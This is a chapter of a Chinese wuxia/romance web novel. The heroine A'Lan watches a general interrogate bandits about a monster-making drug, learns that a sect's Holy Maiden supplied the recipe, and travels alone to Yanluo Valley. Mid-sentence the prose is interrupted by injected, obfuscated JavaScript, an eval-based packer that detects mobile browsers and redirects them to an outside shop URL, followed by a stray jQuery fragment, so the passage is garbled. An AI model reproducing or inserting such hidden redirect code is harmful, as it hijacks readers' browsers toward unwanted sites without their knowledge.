趁着夜色,我一个人来到营地边的一个湖边,夜晚山风寒凉,我蹲在湖边望着水中的月影出神。
心里替玄剑高兴,终于,他找到了家人。
抬头望向远处,寂静的夜中,偶尔传来几声鸟鸣,也不知此时此刻,雷墨阳在哪里。
···
翌日,我回到帐子,发现玄剑已醒,正对着披风发呆。见我进来连忙把披风扔在一边,我见他那副别扭的劲儿,心里不由暗暗好笑。
玄剑瞥了我一眼,装作若无其事的模样,到:“他···昨晚来过?”
“谁?”我故作不知。
“···”
“哦,你是说殷将军啊?”我故意拖长了音,“是啊,见你睡着了,不是还给你披了件披风吗?难道你不知道?”
“我知道他来过,行了吧!”玄剑别过脸去,恨恨道:“他给我披披风的时候,我就醒了。”
“玄剑,”我叹了口气,在他身边坐下,“作为兄长来说,殷子墨真的是一个很好的兄长了。他也许不善表达,也的确缺失了那十年的陪伴,可他从未放弃过寻你,也未曾忘记过你。”
玄剑垂眸不语。
正说着,有兵士来汇报,说殷将军正在亲自审无定寨一干人等,特派人来问我要不要去旁听。
我和玄剑对看一眼,起身向外走去。
审讯帐内,那郑大虎被五花大绑跪在地上,头磕得砰砰响,声音都带了哭腔:“大人,将军,真不关俺们的事啊!都是马乾坤那杀千刀的主意!那形夭也是马乾坤配的药,找人制出来的。俺们虽然是山匪,可也没这么大胆子,敢跟金明教扯上关系啊···”
殷子墨端坐在案几后,面容冷峻,目光如刀,在那郑大虎身上来回扫过。见我和玄剑进来,他对我们微微颔首。
我嗤笑一声,“郑大虎,既然你不知道形夭的来历,那你如何对那形夭的用法控制如此熟悉?你敢说你没参与?如果你真没那么大胆子,那便是故意为之。我倒是真不知道,你是真的没胆子还是假的没胆子···”
“这位姑娘,我是得罪过你,可你也也别血口喷人···”他试图爬上前,却被两个士卒牢牢压住。
玄剑上前便是一脚,“你个混账东西,还敢狡辩!如果不是被抓到这里,我看你还不知要害多少人!”
我目光扫过殷子墨,见他随仍然面容冷峻,眼里却多了一丝柔和,还有些许纵容?
“此人嘴硬,来人,上刑!”殷子墨淡声吩咐。
很快便有人上前,拿出了烙铁等刑具。那郑大虎脸色瞬间煞白。
“将军!大人,饶命啊!饶命啊···我说我说···”
“那马乾坤是一年前来到寨子的,那时候我们寨主还活着,他来了以后,取得了寨主的信任,开始配那种古怪的药,一开始在畜生身上试药,那吃了药的畜生变得狂暴无比,见人就咬···后来,寨主便听了他的话,下山去捉了活人来···这才、这才有了形夭。那马乾坤每个月月初都要去见一个人,那人肯定是金明教的人···”
说罢又哭嚎着:“将军,小人说的句句属实,我们是鬼迷了心窍,用那形夭去吓唬人,想多敛点钱财,可、可是···可是我们也是被马乾坤骗了啊···”
殷子墨一挥手,马乾坤被押了上来。
郑大虎一见到他,目眦欲裂:“你个挨千刀的,都是你!都是你···”
马乾坤冷嗤一声,看都不看他一眼,只盯着殷子墨,嘴角挂着讥讽的笑:“你们想从我这里问到什么?我马乾坤无可奉告。”
殷子墨微微蹙眉,正要开口,我抢着道:“将军,我想和马乾坤单独谈谈。”
“阿澜,”玄剑一惊,“此人狡猾,你当心着了他的道···”
殷子墨沉吟不语。
“不行,你一个人我不放心,我和你一起!”玄剑急道。
“不必了。”见他要恼,连忙附在他耳边悄声道:“但凡有第二个人在场,他必不会开口,放心,你且和殷将军出去等我。”
“叶姑娘,我会吩咐人在门口等你,若有异常,你只管出声。”殷子墨开口道。
“可是···”玄剑还想说什么,殷子墨却慢慢站起,走到他身前,拍了拍他的肩膀:“放心,昭毅军这里,还没人有这个胆子。”
玄剑不再反对,默默跟着殷子墨身后出了帐子。
马乾坤望着我,冷笑道:“没用的,我什么都不会说。”
我静静看着他,忽然道:“想不到你对金明教如此忠心。不知道你的主子卫残心,知不知道你这般忠心?”
马乾坤啐了一口,眼里满是怨毒:“卫残心?那等小人也值得我卖命?”
“你不是卫残心的人?”
马乾坤望着我只是嘿嘿冷笑。
正当我以为他不会开口时,却听到他恨声道,“一个把我扔进万蛇窟受万蛇撕咬的畜生,我如何会替他卖命!!”
我心中一惊,没想到还有这一层,万蛇窟,是卫残心的金明教处酷刑,传说进去的人,没有能活着出来的。
这时,我才发现,这人脖颈处、露出来的手臂密密麻麻都是伤疤。
顺着我的目光,马乾坤只冷笑。
“那你怎么会有···”
“会有制作形夭的药方?对吧?”他接过我的话,笑得诡异,“你猜对了,这药方确实不是我的。有人给我的。”
“谁?”
他盯着我,一字一句道:“金明教圣女,曲灵欢。”
我心头一震:“曲灵欢?”
马乾坤幽幽笑了起来:“不错,就是金明教圣女!她从万蛇窟里把我捞出来,给我治伤,给我药方,我就是要看着卫残心和谢无妄狗咬狗,看着金明教四分五裂,看着他们自取灭亡!”
原来雷墨阳一直要找的圣女,竟然在暗中布了这么大的局。
“曲灵欢现在哪里?”我沉声问道。
“圣女行踪不定,只每个月初一会派人和我见一面。”他顿了顿,又冷笑,“至于平时?我不知道,也不该知道。”
“曲灵欢不是金明教圣女吗?她这么做的目的何在?”难道圣女和老教主离心?我想起雷无咎曾说过,卫残心和谢无妄都想找到圣女,以此来胁迫老教主退位,好各自勾结赤翎、琅玕。
“这么看来,我们目标不是一致的吗?你将圣女约定会面的地点告诉我,且算你将功赎罪,我自会去求殷将军从轻发落。”
马乾坤冷笑:“凭你如何能说动殷子墨,就我所知,他···”
我打断他:“你只有两个选择,说还是不说。”
他盯着我,目光阴晴不定。终究,他垂下眼,低声道:“下月初一,落雁谷。”
我心中一松。
“阿澜,好了吗?”帐子外传来玄剑焦急的声音。
殷子墨和玄剑都在外面,见我出来,玄剑连忙迎上来:“怎么样?他招了?”
我没有回答,只对殷子墨道:“将军,此人还请您继续关押。我需要立刻动身去一个地方。”
“去哪儿?”玄剑追问。
“雁落谷,我要去找一个人。”
···
后日便是初一,而此去雁落谷还有三日路程,必须快马加鞭,昼夜兼程,才赶得上。也许找到曲灵欢,就能揭开金明教的内幕,雷墨阳这些年追查的线索···也能有突破。我必须为他做点什么!
来不及和玄剑交代清楚,我避开他请求殷子墨帮我备一匹军中快马。
“叶姑娘,你···孤身一人去未免不妥。”殷子墨微微皱眉,“为何不让阿昭···”他顿了顿,改口道,“为何不让玄剑陪你一起?”
“将军,那曲灵欢甚是警觉。如若人多,她必不会现身。”我顿了顿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331361|193310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音低下去,“此人关乎我一个朋友,他···背负了太多,我想为他做点什么。这个圣女,就是关键。”
殷子墨沉吟良久,目光在我脸上停留片刻,终是点头道:“好。那我让两个身手好的斥候护送你到附近。你若有任何异常,放出信号,他们自会接应。”
“多谢将军!”我转身欲走,又停住脚步,回头看向他。
“将军,”我开口道,“玄剑他···是个嘴硬心软的人,喜欢把自己受伤的一面藏起来。”
殷子墨目光转向不远处对着我们这边不时探头探脑张望的玄剑,沉默片刻,终是颔首道:“我知道怎么做,谢谢你,叶姑娘。”
“还有一事麻烦将军,”我顿了顿,“我那个弟弟,蔺残阳,如果看到他,烦请将军和他说,如若还愿意跟着我,便回不系舟等我···”
“好。”
我对殷子墨感激一笑。
“说什么说这么半天,有什么是我不能听的···”玄剑在不远处嘟嘟囔囔,十分不满。
我冲着他走去,一面微笑着说:“你也要像个大人了,好歹你也是咱们不系舟的扛把子···”
“说的你就像个大人似的···行···都依你!叶掌门···话说能不能下次做什么都带着我一起·不要这么神神秘秘的···”
“好好好···”
哄着玄剑回去歇息后,我带着殷子墨给我派的两个年轻斥候出发了。
临行前交代了刘桢、许泛二人,让他们和无极门的人汇合后尽快带着周恪返回不系舟。
雁落谷,靠近北境的一个山谷。相传谷中一猎户女曾救下一个年轻将士,他离开时说:“雁落的地方,就是你家,等我回来。”可猎户女等了很久,也没等到将士回来。后来猎户女孤独离世,那山谷便叫作雁落谷。
雁落的地方,就是归处。
可有些人,一辈子也等不到该归的人。
军中战马果真神速,仅仅两日便在约定时辰前赶到雁落谷。
到达雁落谷时已接近傍晚。我让两个斥候留在谷外,自己独自进谷。
曲灵欢,这个人到底是谁?她究竟要做什么?
夜幕降临,谷中寂然下来。
茅草屋外的栅栏居然修的甚是齐整,院中还对着成捆的干柴,像是有人定期来打理。
我点燃火折子,瞬间照亮了屋子。
屋内陈设简单,却处处透着古怪。角落里放着襁褓,桌上摆着茶盏,床铺干净整洁,就像一户等待主人归来的庇护所,等着永远不会回来的人。
桌子上有几道刻痕,借着火光仔细看去,居然是一首诗。
“只愿君心似我心,定不负相思意。”
我念出声,倒像是一个女子等待久未归家的心上人一般。
话音刚落,一个劲装年轻男子推开屋门走了进来。他借着火光看清我的脸,眉头一皱,眼中闪过一丝诧异:“竟是女子?”
我心中讶异,面上却不动声色。来人是男子?那曲灵欢本人呢?
“三当家派我来取药方。”我镇定道。
“他为何自己不来?”
“近日祁连山那位查的紧,三当家脱不开身。”我顿了顿,“加上有几只形夭已被殷子墨所获。所以三当家让我带个话,如若他自己前来,恐泄露了大人的踪迹···”
对方颔首道:“难为他想得周到。”
“···”一阵香气袭来。
我下意识闭气,这味道····竟如此熟悉
我早就服过枫桐亲手做的清心丸,这玩意不说百毒不侵,寻常迷香却实打实难以奏效。
我假意站立不稳,跌坐在凳子上。
却听他轻笑一声:“马乾坤何时如此随意了,派一女子前来,说罢,你是什么人?”
那人近在咫尺,我忽然意识到这香味为何如此熟悉了!